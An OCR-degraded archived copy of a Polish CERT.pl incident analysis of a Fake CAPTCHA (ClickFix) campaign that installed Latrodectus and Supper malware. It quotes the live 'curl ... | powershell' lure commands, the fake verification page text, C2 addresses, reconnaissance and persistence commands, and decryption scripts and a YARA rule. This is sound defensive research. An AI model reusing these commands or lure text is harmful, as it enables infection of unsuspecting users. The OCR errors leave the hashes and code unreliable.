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ClickFix w akcji: jak fake captcha moze zaszyfrowac calg firme

Archived: 2026-04-05 23:47:36 UTC

Wprowadzenie

Kilka miesiecy temu dowiedzieliSmy sie, ze jedna z duzych polskich organizacji padta ofiara ataku malware, a
atakujacy jest aktywny w jej sieci. Podczas obstugi incydentu wspieraliSmy zaré6wno organy Scigania, jak i

zaatakowang organizacje w dochodzeniu i usuwaniu skutkéw ataku.

Chociaz nasza analiza opiera sie na danych zebranych w konkretnej firmie, kampanie typu Fake CAPTCHA majq
charakter masowy i nie s3 wymierzone w konkretne organizacje. Incydent ten jest naszym zdaniem dobrym
przyktadem, pozwalajacym pokazac¢ pelny tanicuch ataku oraz to, w jaki sposob pojedynczy zainfekowany
uzytkownik moze zagrozi¢ bezpieczenstwu catej firmy. DotaczyliSmy réwniez szczeg6towa analize

wykorzystanych prébek ztosliwego oprogramowania.

Analiza zlosliwego oprogramowania

Podczas analizy jednej ze stacji roboczych zidentyfikowali$my katalog

%APPDATA%\Intel , ktéry zwrdcil nasza uwage. Znajdowaty sie w nim nastepujace pliki:

b7f8750851e70ec755343d322d7d81ealfc1b12d4alabbab0e7c8605df4cd6as igfxSDK.exe
af45a728552ccfdcd9435c40aceb60a9354d7c1b52abf507a2f1cb371dadadfde version.dll
be5bcdfc@dbe204001b071e8270bd6856ce6841c43338d8dh914e045147b0e77 wtsapi32.dll

Podczas gdy pliki version.dll i igfxSDK.exe byly standardowymi plikami systemu Windows, wtsapi32.d1l

wydat sie nam podejrzany, poniewaz taka sytuacja jest charakterystyczna dla tzw. side-loadingu DLL.

Skan dysku wykryl takze dwa dodatkowe podejrzane pliki w katalogu /Users/[username]/AppData/Local/ :

2528df60e55f210a6396dd7740d76afe30d5¢9e8684a5h8a02a63bdch5041bfc 245282244.d11
210953dc06933a69bch2e@ea2839b47288fc8f577e183c95a13fc3905061h4eb 760468301.d11

Wektor infekcji

Najpierw sprébowalismy ustali¢, w jaki sposéb ztodliwe oprogramowanie trafito na stacje robocza ofiary. W

logach zidentyfikowaliSmy nastepujace polecenie:
cmd /c curl naintn.com/amazoncdn.com/oeiich37874cj30dkk43885j10vj38h38jd/nrs/opn/ca/ | powershell

Fakt wpisania takiej komendy przez ofiare wyraznie wskazywat na atak Fake CAPTCHA (ClickFix). W tym ataku

atakujacy prébuje naktoni¢ ofiare do skopiowania ztosliwego fragmentu kodu i jego uruchomienia przy uzyciu
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skrétu Win+R. Obserwujemy rosnaca liczbe atakéw przeprowadzanych w ten sposéb w Polsce.

Podczas poszukiwan tego adresu URL znalezZliSmy probke
6673794376681c48ce4981b42e9293eee010d60ef6b100a3866c0abd571eab48 w serwisie VirusTotal. Przeszukujac

logi pod katem zdarzen zwigzanych z tym URL, udato nam sie zidentyfikowa¢ kolejne ztosliwe domeny. Jedna z

tych domen byta juz wczesniej rozpoznana jako domena serwujaca Fake CAPTCHA, poniewaz napotkaliSmy ja w

przesztosci w innym incydencie. Udalo nam sie wyciagna¢ z niej ztosliwy kod:

° o I % Qs

One more step

Verify you are human by completing the action below.

B Complete these verification steps

CI a To better prove you are not a robot, please:

curity of your connection before proceeding.
1. Press & hold the Windows Key 88 + R.

2. In the verification window, press Ctrl + V.
2. Press Enter on your keyboard to finish.

You will cbserve and agree:

Perform the steps above to finish
verification

W kodzie JavaScript osadzonym na tej stronie znalezliSmy rowniez token Telegrama:

const TELEGRAM_BOT_TOKEN = '7708755483:An7X_G5mbD3YhjDI_Ss';
const TELEGRAM_CHAT_ID = '78510";

Latwo zauwazyd, ze ten token nie jest prawidlowym tokenem Telegrama - jest zbyt krotki. W zwiazku z tym kod
nie méglt nigdy dziata¢ zgodnie z zamierzeniem. Mozliwe, Ze jest to wynik bledu, ale podejrzewamy, ze kod zostat

wygenerowany przez LLM i nie zostal odpowiednio dostosowany.

NatrafiliSmy takze na inne, podobne polecenie w logach:
cmd /c curl jzluw.com/cdn-dynmedia-1.microsoft.com/is/n@3ufh3k@03jdhkg99fhhas/is/content/ | powershell
Szukajac podobnych indykatoréw odkryliSmy wiecej polskich domen zainfekowanych w ten sam sposéb.

Proaktywne polowanie na zagrozenia tego typu pozwala nam reagowac szybciej na ataki.
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Oprogramowanie Latrodectus

Po zakonczeniu wstepnej analizy przeszlismy do szczegdlowej analizy ztosliwego ztosliwego oprogramowania,
aby poszerzy¢ nasza wiedze na temat incydentu i zdoby¢ dodatkowe wskazniki IoC. Pierwsza analizowang prébka
byta side-loadowana biblioteka DLL:

be5bcdfc@dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77 wtsapi32.dll

Uruchomili$my ja przy pomocy oprogramowania DRAKVUF Sandbox i zaobserwowali$my Zadania podobne do

ponizszych:

https://gasrobariokley.com/work/?counter=0&type=1&quid=3B7FFFF7F331576B6FA3479BDF43&0s=6&ar ch=1&username=JohnD
https://fadoklismokley.com/work/?counter=0&type=1&quid=3B7FFFF7F331576B6FA3479BDF43&0s=6&arch=1&username=JohnDo

Podczas recznej analizy ustaliliSmy, ze prébka byta obfuskowana przy uzyciu nieznanego nam obfuskatora.
Ladujac te biblioteke do debuggera i przechwytujac odpowiednie wywotanie funkcji VirtualProtect , udato
nam sie uzyskac czysty zrzut pamieci. Zrzut ten pasowat do reguly win_latrodectus_g@ autorstwa Slavo ze
SWITCH (udostepnionej na zasadach TLP:GREEN w Malpedii).

Analizujac dostepne materiaty dotyczace tej rodziny, potwierdziliSmy, Ze probka nalezy do rodziny ztos$liwego
oprogramowania Latrodectus. Warto zauwazy¢, ze wersja zaobserwowana w URL zadaniato 2.3 . Nie udato
nam sie znalez¢ zadnych publicznych analiz Latrodectus w wersji 2, a tym bardziej konkretnie wersji 2.3 .

Niemniej jednak istnieje wiele wysokiej jakoSci analiz wersji 1, a r6znice miedzy wersjami nie sa bardzo duze.

Nie jest to jednak najnowsza wersja - znalezliSmy prébki Latrodectus z wersja co najmniej v2.5 .

Jedna z interesujacych technik utrudniajacych analize dynamiczng i stosowanych przez malware jest to, ze
program odmawia wykonania kodu w przypadku uruchomienia za pomocg rundll.exe lub regsrv32.exe .
Obecne byty réwniez inne typowe mechanizmy antydebugowe. Najwiekszym z wyzwan byto odpinanie hookéw
na funkcje biblioteki NTDLL (NTDLL unhooking), polegajace na samodzielnym odczytaniu pliku ntd1l.dll z
dysku i recznym zaimportowaniu go do procesu, co pozwala na ominiecie typowych mechanizméw wykrywania
stosowanych przez AV i debugery. ObeszliSmy to zabezpieczenie wykonujac kolejny zrzut pamieci po pelnym

wypakowaniu kodu malware, a nastepnie automatyczne odzyskanie importow.

Na koniec, zaimplementowaliSmy skrypt do deszyfrowania stringow:

from malduck import *
key = bytes([@xd6, 0x23, 0xb8, Oxef, 0x62, 0x26, Oxce, Oxc3, Oxe2, Oxdc, 0x55, Ox12, Ox7d, 0xe8, 0x73, Oxe7, Ox

datas = open("encrypted.txt", "r").read().strip().split("\n")
for entry in datas:

addr, encoded_data = entry.split()

chunk = bytes.fromhex(encoded_data)

length, data = u16(chunk[:2]), chunk[2:]
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print(addr, aes.ctr.decrypt(key, data[:16], data[16:16+length]).decode().replace("\x00", ""))

Klucz deszyfrujacy wyciagneliSmy recznie, natomiast plik encrypted.txt zawieral zaszyfrowane ciagi znakéw

z binarki i zostal wygenerowany przy uzyciu nastepujacego skryptu ghidralib:

from ghidralib import *

f = Function("string_decrypt")
for call in f.calls:
try:
e = Emulator()
e.emulate(call.address - 7, [call.address])
key = e["rcx"]
size = read_ul16(key)

print(hex(key) + + read_bytes(key, size+25).encode("hex"))
except:

pass

Korzystamy tutaj z faktu, ze referencje do zaszyfrowanych ciaggéw znakéw znajduja sie prawie zawsze
bezposrednio przed wywotaniem funkcji, dzieki czemu mozemy emulowac¢ po kilka instrukcji poprzedzajacych

opcode CALL i odczytac stan rejestru ECX.

Po odfiltrowaniu mniej istotnych wynikéw uzyskaliSmy nastepujaca liste:

0x18000fd6@ runnung
0x180010060 Kallichore
0x180010898 https://gasrobariokley.com/work/
0x1800108d0 https://fadoklismokley.com/work/
0x1800112b8 \update_data.dat
0x180010a10 Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
0x180011168 \Registry\Machine\
0x180010bd@ Mozilla/4.0 (compatible; MSIE 7.@; Windows NT 5.1; Tob 1.1)
0x180010340 KK4Yp3894K6jOwLgbvOT@35AwCpkKlxZeCzBLsKHtOk3j5yIORECck3FegyFbrciig
0x1800103a0 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%ludver=%d.%d&up=%d&direction=%s
0x180010420 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%luéver=%d.%d&up=%d&direction=%s
0x1800104a0 /c reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid | findstr MachineGuic
0x180010580 C:\Windows\System32\cmd.exe
0x1800105e0 /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet@@1\Control\IDConfigDB\Hardware Profiles\0001" /v
0x180010710 C:\Windows\System32\cmd.exe
0x180010770 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%ludver=%d.%d&up=%d&direction=%s
0x180010830 &dpost=
0x180010190 Mozilla/4.0 (compatible; MSIE 7.@; Windows NT 5.1; Tob 1.1)
0x180010220 Mozilla/4.0 (compatible; MSIE 7.@; Windows NT 5.1; Tob 1.1)
0x1800100b0 Content-Type: application/x-www-form-urlencoded
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0x180010118 POST

0x180010138 GET

0x1800102c0 CLEARURL

0x1800102e0 URLS

0x180010300 COMMAND

0x180010320 ERROR

0x180010000 front

0x180010020 /files/

0x18000fc00 &desklinks=[

0x18000fae8 &proclist=[

0x18000fb28 "pid":

0x18000fb68 "proc":

0x18000fba8 "subproc": [

0x18000fa10 "pid":

0x18000fa50 "proc":

0x18000fa90 "subproc": [

0x18000ffb0 C:\Windows\System32\cmd.exe
0x180010fc@ &mac=

0x180011038 &computername=%s

0x180011060 &domain=%s

0x180010f40 explorer.exe

0x180011320 URLS|%d|%s

0x180010ee0 12345

0x18000f000 /c ipconfig /all

0x18000f070 C:\Windows\System32\cmd.exe
0x18000f038 /c systeminfo

0x18000f0c@ C:\Windows\System32\cmd.exe
0x18000f110 /c nltest /domain_trusts
0x18000f190 C:\Windows\System32\cmd.exe
0x18000f1e@ /c nltest /domain_trusts /all_trusts
0x18000f240 C:\Windows\System32\cmd.exe
0x180001290 /c net view /all /domain
0x180001300 C:\Windows\System32\cmd.exe
0x18000f158 /c net view /all

0x18000f350 C:\Windows\System32\cmd.exe
0x18000f3a@ /c net group "Domain Admins" /domain
0x18000f400 C:\Windows\System32\cmd.exe
0x18000f450 /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
0x18000f520 C:\Windows\System32\wbem\wmic.exe
0x18000f580 /c net config workstation
0x18000f5d0 C:\Windows\System32\cmd.exe
0x18000f620 /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName
0x18000f780 C:\Windows\System32\cmd.exe
0x18000f7d0 /c whoami /groups

0x18000f810 C:\Windows\System32\cmd.exe
0x18000f2d8 &ipconfig=

0x18000f860 &systeminfo=
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0x18000888 &domain_trusts=

0x18000f8b0 &domain_trusts_all=

0x1800018e0 &net_view_all_domain=

0x18000f910 &net_view_all=

0x180001938 &net_group=

0x18000f960 &wmic=

0x18000f980 &net_config_ws=

0x18000f9a8 &net_wmic_av=

0x18000f9d0 &whoami_group=

0x180010e38 Content-Type: application/dns-message
0x180010e78 Content-Type: application/ocsp-request
0x180010eb8 Content-Length: 0

0x180010f20 &stiller=

Wsrod odzyskanych taiicuchéw znakéw na szczegdlng uwage zashuguja:

Kallichore -nazwa grupy
o KK4Yp3894K6j0wLgbv0T@35AwCpkK1xZeCzBLsKHtOk3j5yI@REck3FegyFbrcllg - klucz szyfrujacy
CLEARURL , URLS , COMMAND - polecenia C2

e wywolania cmd.exe , ktére mogg by¢ wykorzystane jako IoC

Ostatnia istotna obserwacja, ktérej dokonaliSmy wspomagajac sie wpisem na blogu VMRay, dotyczy faktu, ze

parametr group w zadaniu HTTP ( group=2201209746 w naszym przykladzie) jest hashem FNV-1a nazwy
kampanii. Z samego zadania HTTP mozna wiec odzyska¢ nazwe kampanii, przeprowadzajac brute-force na

zawartym w nim haszu.

Oprogramowanie Supper

PrzeanalizowaliSmy réwniez dwie dodatkowe podejrzane biblioteki DLL znalezione na maszynie. Pierwszg z nich
byt plik 245282244.d11 :

2528df60e55f210a6396dd7740d76afe30d5e9e8684a5h8a02ab3bdch5041bfc 245282244.d11
21b953dc06933a69bch2e0ea2839b47288fc8f577e183c95a13fc3905061b4eb 760468301.d11

Pierwsza prébka byta spakowana tym samym packerem co Latrodectus. WykonaliSmy recznie dump pamieci w
momencie pierwszego dostepu typu execute do dynamicznie utworzonej sekcji RWX . Pozwolito nam to

uzyskac czysty i fatwy w analizie zrzut pamieci.

Druga probka byta spakowana innym, nierozpoznanym typem packera, co utrudnito analize i nie uzyskalisSmy

czystego zrzutu pamieci. W momencie analizy prébka nie byta dostepna w serwisie VirusTotal.

Gléwna funkcja w rozpakowanych bibliotekach DLL jest Dl1RegisterServer . Hardkodowane adresy IP

serwerow to:

e 85.239.54.130:1080 , 85.239.54.130:8080 - z pierwszej probki, nieaktywne w czasie naszej analizy
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e 162.19.199.110:4043 - z pierwszej probki, aktywny w czasie naszej analizy
e 185.233.166.27:443 -z drugiej probki

Pozwolito nam to ustalié, ze ztoSliwe oprogramowanie nalezy do rodziny Supper.

Jako mechanizm persystencji prébka dodawata sie jako zaplanowane zadanie (Scheduled Task) w systemie

Windows:

schtasks.exe /Create /SC MINUTE /TN GoogleUpdateTask /TR "cmd.exe /C del \"%s\" &% schtasks.exe /Delete /TN Go

Aby w pehi zrozumie¢ mozliwosci ztosliwego oprogramowania, przeprowadziliSmy analize jego komunikacji

sieciowej. Zlosliwe oprogramowanie wysyta do serwera C2 nastepujacq wiadomos¢:

struct msg {
char[4] const1 = 0x00691155
char[4] srvip; // IP of the target server
char[0x100] computer_name
char[0x100] user_name
char[0x10] domain_name

i

W odpowiedziach otrzymaliSmy wylgcznie komende 1, podkomende 0. W tym przypadku ztosliwe

oprogramowanie wykonuje nastepujace polecenie shellowe:

cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%s"

Po dwdch bajtach okreslajacych komende znajduje sie reszta payloadu:

struct resp {
uint16_t typel; // Command 1
uint16_t type2; // Command 2
uint32_t length;
uint32_t key;
char data[]; // encrypted

Ten nagtéwek jest "zaszyfrowany" przy uzyciu jednobajtowego klucza XOR o wartosci "M", natomiast dane sq

szyfrowane przy uzyciu niestandardowego algorytmu przedstawionego ponizej:

def custom(data, key):
out = []
v2 = key[0]
for v1 in range(len(data)):
v2 = (vl + v2 *2) % 256
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out.append(key[v1 % 4] A data[v1] A (v2 % 256))
return bytes(out)

Ponownie jedyna komenda, ktéra otrzymaliSmy byta komenda numer 6. Polecenie to aktualizuje liste aktywnych
serwerOw C2. Aktualnie znane serwery C2 sg zapisywane w katalogu %s/orl lub %s/s@1bafg (w zaleznosci od
prébki). Inne obstugiwane polecenia to miedzy innymi funkcja serwera proxy SOCKS oraz uruchamiania

programéw wystanych z serwera C2.

Znajomo$¢ protokotu komunikacji pozwolita nam zaimplementowac skrypt automatycznie pobierajacy kolejne

adresy IP C2 i uzyskac nastepujaca liste adreséw IP serweréw C2:

e 162.19.199.110: port 4043

e 146.19.49.130: port 8080

e 185.233.166.27: port 443

e 85.239.54.130: nieaktywny

e 171.130.169.141: nieaktywny
e 130.49.19.146: bledny

e 110.199.19.162: bledny

e 27.166.233.185: bledny

Adresy IP oznaczone jako "btedne" stanowig lustrzane odbicie rzeczywistych adresow IP C2 (na przyktad
4.3.2.1 zamiast 1.2.3.4 ). Podejrzewamy, ze operatorzy nie byli pewni jaka kolejno$¢ bajtéw jest poprawna i

zdecydowali sie na wszelki wypadek przesta¢ obie wersje (adres IP jest wysylany przez serwer jako DWORD).

Ponizszy skrypt zostal uzyty do deszyfrowania komunikacji C2:

import struct

from malduck import chunks, u32, u16, xor

def custom(data, key):
out = []
v2 = key[0]
for v1 in range(len(data)):
v2 = (vl +v2 *2) % 256
out.append(key[v1l % 4] A data[v1] A (v2 % 2**32))
return bytes(out)

def decrypt(ip, payload):
print("Payload:", payload.hex())

hdr = xor(payload[:12], b"M"*12)
length = u32(hdr[4:8])
key = hdr[8:12]

body = payload[12:12+1length]
data = custom(body, key)
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ips =[]

for ¢ in chunks(data, 4):
ips.append(".".join(str(q) for q in c))

print("Decrypted IPS:", ips)

Ponizsza reguta Yara moze zosta¢ wykorzystana, aby znaleZ¢ rozpakowane probki oprogramowania Supper.

rule certpl_supper
{

meta:
description = "Supper malware, often pre-ransomware"
author = "msm"
date = "2025-10-01"

strings:
$a1 = "(%d)\trecv type-%d len %d (@x%x)"
$a2 = "bad socks5 request”
$a3 = "[DEBUG MAIN SOCKS] Starting Init SOCKS"
$magic = {55 11 69 00}

condition:
3 of them

Podsumowanie

Chociaz poczatkowy wektor infekcji jest stosunkowo prosty, ataki typu Fake CAPTCHA stanowia duze ryzyko,

dajac atakujacemu mozliwos$¢ wykonania dowolnego kodu w kontekscie uzytkownika.

Mamy nadzieje, Ze nasz wpis na blogu zwiekszy swiadomos$¢ tego typu zagrozenia i podkresli znaczenie edukacji

pracownikdéw oraz monitorowania nietypowych zdarzen w firmie.

Source: https://cert.pl/posts/2026/02/fake-captcha-in-action/
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